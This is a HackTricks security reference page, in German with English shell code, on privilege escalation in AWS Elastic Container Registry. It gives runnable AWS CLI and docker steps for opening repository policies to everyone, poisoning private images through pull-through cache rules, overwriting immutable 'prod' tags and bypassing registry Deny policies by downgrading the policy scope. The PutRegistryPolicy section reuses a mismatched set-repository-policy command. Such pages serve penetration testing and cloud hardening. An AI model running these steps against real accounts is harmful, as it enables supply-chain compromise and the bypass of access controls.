AWS - ECR Privesc

Reading time: 9 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

ECR

ecr:GetAuthorizationToken,ecr:BatchGetImage

Ein Angreifer mit den Rechten ecr:GetAuthorizationToken und ecr:BatchGetImage kann sich bei ECR anmelden und Images herunterladen.

For more info on how to download images:

AWS - ECR Post Exploitation

Mögliche Auswirkungen: Indirekte privesc durch Abfangen sensibler Informationen im Netzwerkverkehr.

ecr:GetAuthorizationToken, ecr:BatchCheckLayerAvailability, ecr:CompleteLayerUpload, ecr:InitiateLayerUpload, ecr:PutImage, ecr:UploadLayerPart

Ein Angreifer mit all diesen Berechtigungen kann sich bei ECR anmelden und Images hochladen. Dies kann nützlich sein, um Berechtigungen in anderen Umgebungen zu eskalieren, in denen diese Images verwendet werden.

To learn how to upload a new image/update one, check:

AWS - EKS Enum

ecr-public:GetAuthorizationToken, ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload, ecr-public:InitiateLayerUpload, ecr-public:PutImage, ecr-public:UploadLayerPart

Wie der vorherige Abschnitt, aber für öffentliche Repositories.

ecr:SetRepositoryPolicy

Ein Angreifer mit dieser Berechtigung könnte die Repository Policy ändern, um sich selbst (oder sogar allen) Lese-/Schreibzugriff zu gewähren.
Zum Beispiel wird in diesem Beispiel Lesezugriff für alle gewährt.

bash
aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json

Inhalt der Datei my-policy.json:

json
{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "allow public pull",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}

ecr-public:SetRepositoryPolicy

Wie der vorherige Abschnitt, aber für öffentliche Repositories.
Ein Angreifer kann die Repository-Richtlinie eines ECR Public repository ändern, um unbefugten öffentlichen Zugriff zu gewähren oder seine Privilegien zu eskalieren.

bash
# Create a JSON file with the malicious public repository policy
echo '{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "MaliciousPublicRepoPolicy",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr-public:GetDownloadUrlForLayer",
"ecr-public:BatchGetImage",
"ecr-public:BatchCheckLayerAvailability",
"ecr-public:PutImage",
"ecr-public:InitiateLayerUpload",
"ecr-public:UploadLayerPart",
"ecr-public:CompleteLayerUpload",
"ecr-public:DeleteRepositoryPolicy"
]
}
]
}' > malicious_public_repo_policy.json

# Apply the malicious public repository policy to the ECR Public repository
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json

Potentielle Auswirkungen: Unerlaubter öffentlicher Zugriff auf das ECR Public repository, wodurch jeder Benutzer push, pull, or delete images durchführen kann.

ecr:PutRegistryPolicy

Ein Angreifer mit dieser Berechtigung könnte die Registry-Richtlinie ändern, um sich selbst und seinem Konto (oder sogar allen) Lese-/Schreibzugriff zu gewähren.

bash
aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json

ecr:CreatePullThroughCacheRule

Missbrauche ECR Pull Through Cache (PTC)-Regeln, um einen vom Angreifer kontrollierten Upstream-Namespace auf ein vertrauenswürdiges privates ECR-Präfix abzubilden. Dadurch erhalten Workloads, die vom privaten ECR pullen, transparent Angreifer-Images, ohne dass ein push in das private ECR nötig ist.

  • Erforderliche Berechtigungen: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. Wenn ECR Public als Upstream verwendet wird: ecr-public:* zum Erstellen/Pushen in das public repo.
  • Getesteter Upstream: public.ecr.aws

Schritte (Beispiel):

  1. Bereite ein Angreifer-Image in ECR Public vor

Get your ECR Public alias with: aws ecr-public describe-registries --region us-east-1

docker login public.ecr.aws/<public_alias> docker build -t public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test . docker push public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test

  1. Erstelle die PTC-Regel im privaten ECR, um ein vertrauenswürdiges Präfix auf das öffentliche Registry abzubilden aws ecr create-pull-through-cache-rule --region us-east-2 --ecr-repository-prefix ptc --upstream-registry-url public.ecr.aws

  2. Pull das Angreifer-Image über den privaten ECR-Pfad (kein push in das private ECR wurde durchgeführt) docker login <account_id>.dkr.ecr.us-east-2.amazonaws.com docker pull <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test docker run --rm <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test

Mögliche Auswirkungen: Kompromittierung der Supply-Chain durch Übernahme interner Image-Namen unter dem gewählten Präfix. Jede Workload, die Images aus dem privaten ECR mit diesem Präfix pullt, erhält Angreifer-kontrollierte Inhalte.

ecr:PutImageTagMutability

Missbrauche diese Berechtigung, um ein Repository mit unveränderlichen Tags auf 'mutable' zu setzen und vertrauenswürdige Tags (z. B. latest, stable, prod) mit Angreifer-kontrolliertem Inhalt zu überschreiben.

  • Erforderliche Berechtigungen: ecr:PutImageTagMutability plus Push-Fähigkeiten (ecr:GetAuthorizationToken, ecr:InitiateLayerUpload, ecr:UploadLayerPart, ecr:CompleteLayerUpload, ecr:PutImage).
  • Auswirkung: Kompromittierung der Supply-Chain durch stilles Ersetzen unveränderlicher Tags, ohne die Tag-Namen zu ändern.

Schritte (Beispiel):

Ein unveränderliches Tag vergiften, indem die Mutability umgeschaltet wird
bash
REGION=us-east-1
REPO=ht-immutable-demo-$RANDOM
aws ecr create-repository --region $REGION --repository-name $REPO --image-tag-mutability IMMUTABLE
acct=$(aws sts get-caller-identity --query Account --output text)
aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
# Build and push initial trusted tag
printf 'FROM alpine:3.19\nCMD echo V1\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
# Attempt overwrite while IMMUTABLE (should fail)
printf 'FROM alpine:3.19\nCMD echo V2\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
# Flip to MUTABLE and overwrite
aws ecr put-image-tag-mutability --region $REGION --repository-name $REPO --image-tag-mutability MUTABLE
docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
# Validate consumers pulling by tag now get the poisoned image (prints V2)
docker run --rm ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod

Global registry hijack via ROOT Pull-Through Cache rule

Erstelle eine Pull-Through Cache (PTC) rule mit dem speziellen ecrRepositoryPrefix=ROOT, um die Root des privaten ECR-Registry auf ein upstream-öffentliches Registry (z. B. ECR Public) abzubilden. Jeder Pull auf ein nicht vorhandenes Repository in der privaten Registry wird transparent vom Upstream bedient, was supply-chain hijacking ermöglicht, ohne in das private ECR pushen zu müssen.

  • Erforderliche Berechtigungen: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule, ecr:GetAuthorizationToken.
  • Auswirkung: Pulls auf <account>.dkr.ecr.<region>.amazonaws.com/<any-existing-upstream-path>:<tag> gelingen und erstellen automatisch private Repositories, die vom Upstream stammen.

Hinweis: Bei ROOT-Regeln --upstream-repository-prefix weglassen. Wird es angegeben, führt das zu einem Validierungsfehler.

Demo (us-east-1, upstream public.ecr.aws)
bash
REGION=us-east-1
ACCT=$(aws sts get-caller-identity --query Account --output text)

# 1) Create ROOT PTC rule mapping to ECR Public (no upstream prefix)
aws ecr create-pull-through-cache-rule \
--region "$REGION" \
--ecr-repository-prefix ROOT \
--upstream-registry-url public.ecr.aws

# 2) Authenticate to private ECR and pull via root path (triggers caching & auto repo creation)
aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${ACCT}.dkr.ecr.${REGION}.amazonaws.com

# Example using an official mirror path hosted in ECR Public
# (public.ecr.aws/docker/library/alpine:latest)
docker pull ${ACCT}.dkr.ecr.${REGION}.amazonaws.com/docker/library/alpine:latest

# 3) Verify repo and image now exist without any push
aws ecr describe-repositories --region "$REGION" \
--query "repositories[?repositoryName==docker/library/alpine]"
aws ecr list-images --region "$REGION" --repository-name docker/library/alpine --filter tagStatus=TAGGED

# 4) Cleanup
aws ecr delete-pull-through-cache-rule --region "$REGION" --ecr-repository-prefix ROOT
aws ecr delete-repository --region "$REGION" --repository-name docker/library/alpine --force || true

ecr:PutAccountSetting (Herabstufen von REGISTRY_POLICY_SCOPE, um registry policy Denies zu umgehen)

Missbrauche ecr:PutAccountSetting, um den Registry-Policy-Scope von V2 (Policy, die auf alle ECR-Aktionen angewendet wird) auf V1 (Policy, die nur auf CreateRepository, ReplicateImage, BatchImportUpstreamImage angewendet wird) zu wechseln. Wenn eine restriktive registry policy Deny Aktionen wie CreatePullThroughCacheRule blockiert, entfernt das Herabstufen auf V1 diese Durchsetzung, sodass identity-policy Allows wirksam werden.

  • Erforderliche Berechtigungen: ecr:PutAccountSetting, ecr:PutRegistryPolicy, ecr:GetRegistryPolicy, ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule.
  • Auswirkung: Möglichkeit, zuvor durch eine registry policy Deny blockierte ECR-Aktionen (z. B. create PTC rules) auszuführen, indem der Scope vorübergehend auf V1 gesetzt wird.

Schritte (Beispiel):

Registry policy Deny bei CreatePullThroughCacheRule umgehen, indem auf V1 gewechselt wird
bash
REGION=us-east-1
ACCT=$(aws sts get-caller-identity --query Account --output text)

# 0) Snapshot current scope/policy (for restore)
aws ecr get-account-setting --name REGISTRY_POLICY_SCOPE --region $REGION || true
aws ecr get-registry-policy --region $REGION > /tmp/orig-registry-policy.json 2>/dev/null || echo '{}' > /tmp/orig-registry-policy.json

# 1) Ensure V2 and set a registry policy Deny for CreatePullThroughCacheRule
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION
cat > /tmp/deny-ptc.json <<'JSON'
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "DenyPTCAll",
"Effect": "Deny",
"Principal": "*",
"Action": ["ecr:CreatePullThroughCacheRule"],
"Resource": "*"
}
]
}
JSON
aws ecr put-registry-policy --policy-text file:///tmp/deny-ptc.json --region $REGION

# 2) Attempt to create a PTC rule (should FAIL under V2 due to Deny)
set +e
aws ecr create-pull-through-cache-rule \
--region $REGION \
--ecr-repository-prefix ptc-deny-test \
--upstream-registry-url public.ecr.aws
RC=$?
set -e
if [ "$RC" -eq 0 ]; then echo "UNEXPECTED: rule creation succeeded under V2 deny"; fi

# 3) Downgrade scope to V1 and retry (should SUCCEED now)
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V1 --region $REGION
aws ecr create-pull-through-cache-rule \
--region $REGION \
--ecr-repository-prefix ptc-deny-test \
--upstream-registry-url public.ecr.aws

# 4) Verify rule exists
aws ecr describe-pull-through-cache-rules --region $REGION \
--query "pullThroughCacheRules[?ecrRepositoryPrefix=='ptc-deny-test']"

# 5) Cleanup and restore
aws ecr delete-pull-through-cache-rule --region $REGION --ecr-repository-prefix ptc-deny-test || true
if jq -e '.registryPolicyText' /tmp/orig-registry-policy.json >/dev/null 2>&1; then
jq -r '.registryPolicyText' /tmp/orig-registry-policy.json > /tmp/_orig.txt
aws ecr put-registry-policy --region $REGION --policy-text file:///tmp/_orig.txt
else
aws ecr delete-registry-policy --region $REGION || true
fi
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks